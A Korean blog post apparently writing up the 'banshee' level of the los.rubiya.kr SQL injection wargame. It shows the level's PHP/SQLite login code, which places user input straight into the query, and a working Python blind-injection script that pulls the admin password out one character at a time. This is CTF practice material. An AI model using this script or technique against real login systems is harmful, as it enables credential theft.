일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Database
- riceteacatpanda
- 행정지역 DB
- 소개딩
- Forensic 절차
- webhacking 처음
- spring
- 3단계 지역 DB
- frontend
- 네이버 인턴
- Layered Architecture
- react
- 메모리 포랜식
- 동읍면 DB
- 인턴 후기
- reversing.kr
- jsp
- PyAmdecoder
- mysql
- 인턴 지원
- 소프트웨어 개발보안 경진대회
- restapi
- 방명록 만들기
- JSTL
- Django
- 정보보호병 후기
- DBMS
- SessionAttribute
- EER
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- Today
- Total
웹찢남
banshee-writeup 본문
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/banshee.db");
if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>login success!</h2>";
$query = "select pw from member where id='admin'";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("banshee");
highlight_file(__FILE__);
?>
단순한 bsi 다.
하던대로 코드를 짜서 돌렸는데 안됐다...
왜 그런가 해서 사이트에서 직접 이것저것 해보니까 substr 문을 비교할때 '로 감싸줘야 하는것 같다.
오랫만에 bsi를 해서 그런건지 sqlite여서 그런건지...ㅎ
어쨋든 CLEAR!!
import re
import requests
import time
flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
for j in range(48,128):
r=requests.post("https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php?pw=%27%20or%20id='admin'%20and%20substr(pw,"+str(i)+",1)=%27"+chr(j)+"%27%20--%20",cookies=session)
if 'login success!' in r.text:
flag=flag+str(chr(j))
print("finding pw: "+flag)
break
print("pw "+flag)
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
Nessie-writeup (0) | 2020.01.30 |
---|---|
poltergeist-writeup (0) | 2020.01.30 |
manticore-writeup (0) | 2020.01.30 |
chupacabra-writeup (0) | 2020.01.30 |
cyclops-writeup (0) | 2020.01.30 |